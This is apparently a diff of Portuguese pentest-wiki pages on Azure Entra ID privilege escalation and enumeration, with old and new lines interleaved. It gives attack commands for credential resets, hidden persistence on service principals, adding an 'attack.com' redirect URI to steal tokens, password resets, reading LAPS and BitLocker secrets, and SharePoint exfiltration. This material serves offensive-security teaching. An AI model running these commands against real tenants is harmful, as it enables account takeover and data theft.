az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Ao se adicionar como proprietário, um atacante pode manipular o aplicativo, incluindo credenciais e permissões.
Ao se adicionar como proprietário, um atacante pode manipular a aplicação, incluindo credentials e permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Um atacante pode adicionar uma URI de redirecionamento a aplicativos que estão sendo usados pelos usuários do locatário e, em seguida, compartilhar com eles URLs de login que usam a nova URL de redirecionamento para roubar seus tokens. Observe que, se o usuário já estiver logado no aplicativo, a autenticação será automática, sem que o usuário precise aceitar nada.
Um atacante pode adicionar uma redirect URI a aplicações que estão a ser usadas por usuários do tenant e depois partilhar com eles login URLs que usam a nova redirect URI para roubar os seus tokens. Observe que, se o usuário já estivesse autenticado na aplicação, a autenticação será automática sem que o usuário precise aceitar nada.
Observe que também é possível alterar as permissões que o aplicativo solicita para obter mais permissões, mas, nesse caso, o usuário precisará aceitar novamente o prompt que pede todas as permissões.
Observe que também é possível alterar as permissões que a aplicação solicita para obter mais privilégios, mas, neste caso, o usuário terá de aceitar novamente o prompt solicitando todas as permissões.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Elevação de Privilégios em Aplicações
**Como explicado em [este post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era muito comum encontrar aplicações padrão que têm **API permissions** do tipo **`Application`** atribuídas a elas. Uma API Permission (como chamado no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um contexto de usuário (sem um usuário fazer login na app), e sem precisar de roles do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em todo tenant do Entra ID**.
Então, se um atacante tiver qualquer permission/role que permita **atualizar as credenciais (secret o certificate) da aplicação**, o atacante pode gerar uma nova credencial e então usá-la para **autenticar-se como a aplicação**, obtendo todas as permissões que a aplicação possui.
Note que o blog mencionado compartilha algumas **API permissions** de aplicações padrão comuns da Microsoft; entretanto, algum tempo após esse relatório a Microsoft corrigiu esse problema e agora não é mais possível login como aplicações da Microsoft. No entanto, ainda é possível encontrar **aplicações customizadas com altos privilégios que poderiam ser abusadas**.
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Encontrar todas as aplicações com permissões de API para APIs não-Microsoft (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se o principal de serviço tiver privilégios elevados, o atacante pode assumir esses privilégios.
Isto permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> A nova senha gerada não aparecerá no console da web, então isso pode ser uma maneira discreta de manter a persistência sobre um principal de serviço.\
> A partir da API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> A nova password gerada não aparecerá no console web, então isso pode ser uma forma furtiva de manter persistência em um service principal.\
> Via API elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite que você execute:
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se o principal de serviço tiver privilégios elevados, o atacante pode assumir esses privilégios.
Isso permite que um attacker adicione credentials a service principals existentes. Se o service principal tiver privilégios elevados, o attacker pode assumir esses privilégios.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Semelhante às aplicações, esta permissão permite adicionar mais proprietários a um principal de serviço. Possuir um principal de serviço permite controle sobre suas credenciais e permissões.
Semelhante às applications, esta permissão permite adicionar mais owners a um service principal. Ser owner de um service principal permite controlar suas credentials e permissions.
```bash
# Add new owner
spId="<spId>"
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Após adicionar um novo proprietário, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para excluir o proprietário. Portanto, **não é possível remover proprietários atualmente**.
> Após adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para deletar o owner. Portanto **você não pode remover owners atualmente**.
### `microsoft.directory/servicePrincipals/disable` e `enable`
### `microsoft.directory/servicePrincipals/disable` and `enable`
Essas permissões permitem desabilitar e habilitar principais de serviço. Um atacante poderia usar essa permissão para habilitar um principal de serviço ao qual ele poderia obter acesso de alguma forma para escalar privilégios.
Essas permissões permitem desativar e ativar service principals. Um atacante poderia usar essa permissão para habilitar um service principal ao qual ele conseguisse obter acesso de alguma forma para escalar privilégios.
Observe que, para essa técnica, o atacante precisará de mais permissões para assumir o principal de serviço habilitado.
Observe que, para esta técnica, o atacante precisará de mais permissões para assumir o controle do service principal habilitado.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Essas permissões permitem criar e obter credenciais para single sign-on, o que pode permitir o acesso a aplicativos de terceiros.
Essas permissões permitem criar e obter credenciais para single sign-on (SSO), o que pode permitir o acesso a aplicativos de terceiros.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -164,14 +277,6 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### Escalação de Privilégios em Aplicações
**Como explicado em [este post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muito comum encontrar aplicações padrão que têm **permissões de API** do tipo **`Application`** atribuídas a elas. Uma Permissão de API (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API sem um contexto de usuário (sem um usuário logado no aplicativo) e sem precisar de funções do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em cada locatário do Entra ID**.
Assim, se um atacante tiver qualquer permissão/função que permita **atualizar as credenciais (segredo ou certificado) da aplicação**, o atacante pode gerar uma nova credencial e, em seguida, usá-la para **autenticar-se como a aplicação**, ganhando todas as permissões que a aplicação possui.
Observe que o blog mencionado compartilha algumas **permissões de API** de aplicações padrão comuns da Microsoft, no entanto, algum tempo após este relatório, a Microsoft corrigiu esse problema e agora não é mais possível fazer login como aplicações da Microsoft. No entanto, ainda é possível encontrar **aplicações personalizadas com altos privilégios que podem ser abusadas**.
---
## Grupos
@@ -182,26 +287,26 @@ Esta permissão permite adicionar usuários a grupos privilegiados, levando à e
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID.
**Nota**: Esta permissão exclui os grupos atribuíveis a função do Entra ID.
### `microsoft.directory/groups/owners/update`
Esta permissão permite se tornar um proprietário de grupos. Um proprietário de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios para o grupo.
Esta permissão permite tornar-se proprietário de grupos. Um proprietário de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios no grupo.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID.
**Nota**: Esta permissão exclui grupos atribuíveis por função do Entra ID.
### `microsoft.directory/groups/members/update`
Esta permissão permite adicionar membros a um grupo. Um atacante poderia se adicionar ou adicionar contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.
Esta permissão permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Esta permissão permite atualizar a regra de associação em um grupo dinâmico. Um atacante poderia modificar as regras dinâmicas para incluir a si mesmo em grupos privilegiados sem adição explícita.
Esta permissão permite atualizar a regra de associação de membros em um grupo dinâmico. Um atacante poderia modificar regras dinâmicas para incluir a si mesmo em grupos privilegiados sem adição explícita.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -212,11 +317,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID.
**Nota**: Esta permissão exclui Entra ID role-assignable groups.
### Privesc de Grupos Dinâmicos
### Dynamic Groups Privesc
Pode ser possível para os usuários escalarem privilégios modificando suas próprias propriedades para serem adicionados como membros de grupos dinâmicos. Para mais informações, consulte:
Pode ser possível que usuários escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informações, consulte:
{{#ref}}
dynamic-groups.md
@@ -226,13 +331,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Esta permissão permite redefinir a senha de usuários não administradores, permitindo que um potencial atacante escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas.
Esta permissão permite redefinir a senha de usuários não-admin, permitindo que um atacante potencial escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
Essa permissão permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessário para ser membro de um grupo dinâmico específico e escale privilégios.
Este privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor de propriedade necessário para tornar-se membro de um grupo dinâmico específico e escalar privilégios.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -248,9 +353,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Políticas de Acesso Condicional e Bypass de MFA
## Conditional Access Policies & MFA bypass
Políticas de acesso condicional mal configuradas que exigem MFA podem ser contornadas, verifique:
Políticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas verifique:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Esta permissão permite que atacantes se atribuam como proprietários de dispositivos para obter controle ou acesso a configurações e dados específicos do dispositivo.
Essa permissão permite que atacantes se atribuam como proprietários dos dispositivos para obter controle ou acesso às configurações e dados específicos do dispositivo.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -271,7 +376,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Esta permissão permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar políticas de segurança.
Essa permissão permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar políticas de segurança.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -282,7 +387,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Esta permissão permite que atacantes leiam as propriedades das credenciais da conta de administrador local de backup para dispositivos associados ao Microsoft Entra, incluindo a senha.
Esta permissão permite que attackers leiam as propriedades das credenciais de conta de administrador local com backup para dispositivos ingressados no Microsoft Entra, incluindo a password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +402,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Esta permissão permite acessar chaves do BitLocker, o que pode permitir que um atacante decifre unidades, comprometendo a confidencialidade dos dados.
Esta permissão permite acessar as chaves BitLocker, o que pode permitir que um atacante descriptografe unidades, comprometendo a confidencialidade dos dados.
```bash
# List recovery keys
az rest --method GET \
@@ -4,9 +4,9 @@
## Informações Básicas
Azure Active Directory (Azure AD) funciona como o serviço baseado em nuvem da Microsoft para identidade e gerenciamento de acesso. Ele é instrumental para permitir que funcionários façam sign in e obtenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o Azure portal e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando **autenticação, autorização e gerenciamento de usuários**.
Azure Active Directory (Azure AD) atua como o serviço em nuvem da Microsoft para gerenciamento de identidade e acesso. Ele é fundamental para permitir que funcionários façam login e obtenham acesso a recursos, tanto dentro quanto fora da organização, incluindo Microsoft 365, o Azure portal e uma infinidade de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando-se **autenticação, autorização e gerenciamento de usuários**.
Recursos-chave do Azure AD envolvem **autenticação multifator** e **acesso condicional**, além de integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e aplicar efetivamente suas políticas de acesso. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é vital para o gerenciamento baseado em nuvem das identidades de usuários.
Recursos chave do Azure AD incluem **autenticação multifator** e **acesso condicional**, além de integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e permitem que as organizações implementem e apliquem de forma eficaz suas políticas de acesso. Como componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento em nuvem das identidades dos usuários.
## Enumeração
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Quando você faz **login** via **CLI** no Azure com qualquer programa, você está usando uma **Azure Application** de um **tenant** que pertence à **Microsoft**. Essas aplicações, como as que você pode criar na sua conta, **têm um client id**. Você **não conseguirá ver todas elas** nas **listas de aplicações permitidas** que pode ver no console, **mas elas são permitidas por padrão**.
When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**.
Por exemplo, um **powershell script** que **autentica** usa uma app com client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que a app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via essa App.
For example a **powershell script** that **authenticates** use an app with client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Even if the app doesn't appear in the console, a sysadmin could **block that application** so users cannot access using tools that connects via that App.
No entanto, existem **outros client-ids** de aplicações que **vão permitir que você se conecte ao Azure**:
However, there are **other client-ids** of applications that **will allow you to connect to Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Políticas de Acesso Condicional
### MFA & Conditional Access Policies
É altamente recomendável habilitar MFA para todos os usuários; entretanto, algumas empresas não o configuram ou podem configurá-lo com um Conditional Access: o usuário será **obrigado a usar MFA se** fizer login a partir de um local específico, navegador ou **alguma condição**. Essas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Ver:
É altamente recomendado adicionar MFA a todos os usuários; no entanto, algumas empresas não o configuram ou podem configurá-lo com Conditional Access: o usuário será **MFA será exigido se** fizer login de uma localização específica, navegador ou **alguma condição**. Estas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Verifique:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
### Grupos
Para mais informações sobre grupos do Entra ID, veja:
Para mais informações sobre Entra ID groups consulte:
{{#ref}}
../az-basic-information/
@@ -488,8 +488,8 @@ Os proprietários do grupo podem adicionar novos usuários ao grupo
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Grupos podem ser dinâmicos, o que basicamente significa que **se um user cumprir certas condições ele será adicionado a um grupo**. Claro, se as condições se basearem em **atributos** que um **user** pode **controlar**, ele pode abusar dessa funcionalidade para **entrar em outros grupos**.\
> Veja como abusar de grupos dinâmicos na seguinte página:
> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições ele será adicionado a um grupo**. Claro, se as condições se basearem em **atributos** que um **usuário** pode **controlar**, ele pode abusar desse recurso para **entrar em outros grupos**.\
> Veja como abusar de grupos dinâmicos na página a seguir:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### Service Principals
Para mais informações sobre Entra ID service principals consulte:
Para mais informações sobre Entra ID service principals, veja:
{{#ref}}
../az-basic-information/
@@ -715,10 +715,10 @@ Para mais informações sobre Aplicações consulte:
../az-basic-information/
{{#endref}}
Quando uma Aplicação é gerada, são concedidos dois tipos de permissões:
Quando um App é gerado, são concedidos 2 tipos de permissões:
- **Permissões** concedidas ao **Service Principal**
- **Permissões** que a **aplicação** pode ter e usar em **nome do usuário**.
- **Permissões** que o **app** pode ter e usar em **nome do usuário**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Encontrar todas as aplicações com permissões de API para APIs não Microsoft (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
{{#endtab }}
{{#tab name="Az" }}
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo o role.\
> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo a role.\
> Para mais informações [**veja isto**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a application password.\
> Portanto, se encontrar esta **password** você pode acessar como o **service principal** **dentro** do **tenant**.\
> Observe que esta **password** só fica visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\
> O **owner** da **application** pode **add a password** a ela (assim ele pode se passar por ela).\
> Logins como esses **service principals** não são marcados como arriscados e eles **não terão MFA.**
> Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a senha da aplicação.\
> Portanto, se você encontrar essa **senha** pode acessar como o **service principal** **dentro** do **tenant**.\
> Observe que essa senha só é visível quando gerada (você pode alterá-la, mas não pode recuperá-la).\
> O **proprietário** da **aplicação** pode **adicionar uma senha** a ela (assim ele pode se passar por ela).\
> Os logins desses service principals **não são marcados como arriscados** e eles **não terão MFA.**
É possível encontrar uma lista de App IDs comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
Para mais informações sobre Managed Identities, consulte:
Para mais informações sobre Managed Identities consulte:
{{#ref}}
../az-basic-information/
@@ -852,7 +927,7 @@ az identity list --output table
### Funções do Azure
Para mais informações sobre as funções do Azure, consulte:
Para mais informações sobre funções do Azure, consulte:
{{#ref}}
../az-basic-information/
@@ -939,7 +1014,7 @@ Headers = @{
### Entra ID Roles
Para mais informações sobre Azure roles, consulte:
Para mais informações sobre as funções do Azure, consulte:
{{#ref}}
../az-basic-information/
@@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **fazer login**.\
> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **local admin**.
> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **efetuar login**.\
> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **administrador local**.
### Unidades Administrativas
@@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
Attackers with a **delegated Microsoft Graph token** that includes **`Sites.Read.All`** or **`Sites.ReadWrite.All`** can enumerate **sites/drives/items** over Graph and then **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). The [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automates the full flow (enumeration → pre-auth downloads) and emits per-request telemetry for detection testing.
Atores maliciosos com um **token delegado do Microsoft Graph** que inclua **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** podem enumerar **sites/drives/items** via Graph e então **obter o conteúdo de arquivos** através de **SharePoint pre-authentication download URLs** (URLs temporárias que incorporam um access token). O script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatiza todo o fluxo (enumeração → downloads pré-auth) e gera telemetria por requisição para testes de detecção.
### Obtaining usable delegated tokens
- SharePointDumper itself **does not authenticate**; supply an access token (optionally refresh token).
- Pre-consented **first-party clients** can be abused to mint a Graph token without registering an app. Example `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations:
- O próprio SharePointDumper **não autentica**; forneça um access token (opcionalmente um refresh token).
- Clientes first-party pré-consentidos podem ser abusados para emitir um token do Graph sem registrar um app. Exemplo de invocações `Invoke-Auth` (do [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1120,11 +1195,11 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
